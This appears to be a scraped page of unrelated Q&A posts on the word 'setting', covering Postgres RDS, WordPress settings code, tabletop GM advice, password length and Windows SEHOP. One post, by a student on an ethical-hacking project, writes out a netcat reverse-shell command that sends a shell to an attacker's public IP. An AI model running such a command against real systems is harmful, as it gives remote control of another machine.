AWS Postgres setting pg_trgm.word_similarity_threshold

Trying to set pg_trgm.word_similarity_threshold on an RDS postgres instance (postgres 12 if it matters):

ALTER SYSTEM SET pg_trgm.word_similarity_threshold = 0.3; 

I get the error: must be superuser to execute ALTER SYSTEM command

I don’t see this in the parameter groups even though pg_trgm is a supported extension. Is there something I’m missing?

How to create a clickable static call us button that links to a new setting in general

I recently had an admin setting created on my website that allows me to input a contact number to display on the front end via a shortcode.

Now I am now trying to use this field to also create a clickable and static call button for mobile devices only that appears on the bottom of their screens.

There are plugins like WP Call Button that achieve this, but I am trying to keep my website as light as possible. Any help would be much appreciated!

I think I may need another 2 admin fields created that act as a text label as well as the hyperlink function? e.g. tel:035555555?

enter image description here

Here’s the code that was created (thanks again Walter) for my general settings:

/**  * Class for adding a new field to the options-general.php page  */ class Add_Settings_Field {      /**      * Class constructor      */     public function __construct() {         add_action( 'admin_init' , array( $  this , 'register_fields' ) );     }      /**      * Add new fields to wp-admin/options-general.php page      */     public function register_fields() {         register_setting( 'general', 'phone_number_custom', 'esc_attr' );         add_settings_field(             'custom_phone_number',             '<label for="custom_phone_number">' . __( 'Phone Number' , 'phone_number_custom' ) . '</label>',             array( $  this, 'fields_html' ),             'general'         );     }      /**      * HTML for extra settings      */     public function fields_html() {         $  value = get_option( 'phone_number_custom', '' );         echo '<input type="text" id="custom_phone_number" name="phone_number_custom" value="' . esc_attr( $  value ) . '" />';     }  } new Add_Settings_Field(); 

How to create shortcodes that pull custom field data from general settings

Overcoming setting complexity paralysis as a GM


The problem

What are the best practices to overcome that certain “complexity paralysis” that may strike a GM when trying to learn and immerse himself in a setting that has a lot of intricate background information?

An example

For example, let’s say you’re a GM who decides to give a try to running Shadowrun for the first time in your life (no matter how experienced you are in other games and/or settings.) You settle on an edition — only to realize that the game has been around for decades, and it has so much background info it could fill half the Encyclopædia Britannica (well, not literally, obviously, but you get the point).

Hesitatingly, you decide to get some focus, cut away a huge chunk of the looming material, and set your story in Redmond, Seattle. Sure, you get an official handbook for Seattle, and read through it (quickly, because gaming night is upon you) — but in doing so, you discover that there are tons of relevant, related sourcebooks (like… on magic, critters, the matrix, cyberware, etc.).

Sure, you can ignore the sourcebooks and go for a minimal approach… but even so, when you start designing your adventure (already feeling out of touch with the world of Shadowrun simply because of knowing how much you don’t know), you realize that besides the setting info, there are tons of in-game factors to consider, think through, and work into even the simplest campaign. Corporate politics and workings, magical aspects and relationships, shadow politics, gang politics and workings, the nuances of running the shadows, and so on. Of course, without reading as much as possible of the official sourcebooks, you’ll have no idea about the existence of a ton of factors — as if the sketchy stuff you learned from the core rulebook and the city sourcebook weren’t complicated enough.

And, by this time, you’re gripped by the title’s setting complexity paralysis. You’d love to run the game, but you feel you have no real idea how stuff should work, and no time (let alone a reliable entry point) into the hypercomplicated, cross-referenced lore. And with that, you return to running something you know, be it a world you’ve been following since its inception or one that you’ve built yourself. You skip running Shadowrun.

Mind you, I’m definitely not looking for answers focused on Shadowrun. It’s just an example. (Sure, it’s okay if you use it as an example for general suggestions.) I could practically have brought up quite a number of other worlds. Star Wars EU. WoD & nWoD. The Forgotten Realms. Warhammer FRP. And so on, and so on.

Summary

What I’m looking for is methods that help you, the GM, through this “setting complexity paralysis”, this disheartening and disappointing block that hits you when you face a huge amount of background material without which your game won’t feel authentic, just a bad copy, an alternate universe of an alternate universe.

D&D Wiki, Orizon Setting: What is the last month on the calander?

So I have found an awesome campaign setting on D&D wiki but its missing some info.

The calendar has every month named except for one, I have all the others but if someone can tell me the last one that would be awesome thanks.

Here is what I have so far

14 months

1: Lencten 2: Errach 3: Haru 4: Lithe 5: Sumor 6: Samrad 7: Natrisu 8: Thout 9: Fogamur 10: Haerfest 11: Gemred 12: Yule 13: Frosyu 14:

Settings API: Setting default option via ‘get_option’ fails

  1. All my options are stored in one array test_hs_options
  2. I have select list settings field ( test_hs_options['duration_months'] ) which stores the selected month (1-12).
  3. For this settings field, I would like to set a default option at 5.
  4. All my attempts at setting the default have failed.
  5. What am I missing?
// Callback for displaying sfield_select_duration. function cb_test_hs_sfield_select_duration() {      // get option test_hs_options['duration_months'] value from db.     // Set to '5' as default if option does not exist.     $  options  = get_option( 'test_hs_options', [ 'duration_months' => '5' ] );      $  duration = $  options['duration_months']; // fails!      var_dump($  options); // PHP Notice:  Undefined index: duration_months      // define the select option values for 'duration' select field.     $  months = array( '1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12' );      // Display select control     echo '<select id="duration" name="test_hs_options[duration_months]">';         // loop through option values         foreach ( $  months as $  month ) {             // if saved option matches the option value, select it.             echo '<option value="' . $  month . '" ' . selected( $  duration, $  month, false ) . '>' . esc_html( $  month ) . '</option>';         }     echo '</select>'; }  

Setting up netcat session over the internet [closed]

I am a student working on an ethical hacking project.

How do I set a netcat session over the internet? My project requires us to use a public service like AWS or DigitalOcean as the victim machine and my own PC has an attacker machine. I tried the following commands:

Attacker’s machine running the latest Kali 2020.3 (Tried NAT VM setup and live booting too):

nc –nlvp 5555 

Victim’s machine running ubuntu 18.04.05:

/bin/sh | nc <PUBLIC IP OF ATTACKER's MACHINE> 5555 

But it just does not open a reverse shell on the attacker’s machine. Did I miss out anything?

Is there any security risk in not setting a maximum password length?

I’m a listener of the podcast "Security Now" where Steve Gibson, a security expert, often claims that there are no reasons to limit the number of characters a user can use in their passwords when they create an account on a website. I have never understood how it is even technically possible to allow an unlimited number of characters and how it could not be exploited to create a sort of buffer overflow.

I found a related question here, but mine is slightly different. The author of the other question explicitly mentions in their description that they understand why setting a maximum length of 100000000 characters would be a problem. I actually want to know why it would be a problem, is it like I have just said because of buffer overflows? But to be vulnerable to a buffer overflow, shouldn’t you have a sort of boundary which you can’t exceed in the first place, and thus if you didn’t limit the number of characters, would you even have this risk? And if you are thinking about starving a computer’s RAM or resources, could even a very large password be a problem?

So, I guess it is possible not to limit the number of characters in a password: all you’d have to do would be to not use the maxlength attribute or not have a password validation function on the server side. Would that be the secure way to do it? And if it is, is there any danger in allowing an unlimited number of characters for your passwords? On the other hand, NIST recommends developers to limit passwords to 256 characters. If they take the time to recommend a limitation, does it mean there has to be one?

How do I make players more comfortable in an unusual historical setting?

I run a lot of games/write systems set in specific historical/cultural contexts, because I like rpgs as a way to explore them and think they provide a great sense of place. However, I tend not to choose more well-known settings, like WWII Europe or Victorian England, because they’ve already been so thoroughly explored that they lose some of the uniqueness factor I’m interested in.

So far the people I’ve played/playtested them with have been enthusiastic about the ideas, but the games tend to start slow as they are hesitant to be creative because they don’t want to ‘be wrong’ about how things would work in that time and place. However, I’m not so much set on perfectly replicating, say, 19th century Hong Kong in a given game as I am interested in seeing the game evolve from an off-beat starting point.

Do people think the best solution to this is to separate the actual history from the game history (i.e. emphasize that this is an alternate universe and they can feel free to depart as much as they want to from the historical details) or to provide a lot of background information to ground them as much as possible in the time period so that they’re more comfortable there?

Windows Exploit Protection: what is SEHOP setting: “TelemetryOnly” for?

I’m reading myself into the different exploit protection methods from MS. One is SEHOP, if I check it e.g. with PS:

Get-ProcessMitigation -System

I get:

    Enable                             : NOTSET     TelemetryOnly                      : OFF     Audit                              : NOTSET     Override SEHOP                     : False 

What is "TelemetryOnly" ? Internet search was not successful so fare.

Thanks for hints and resources!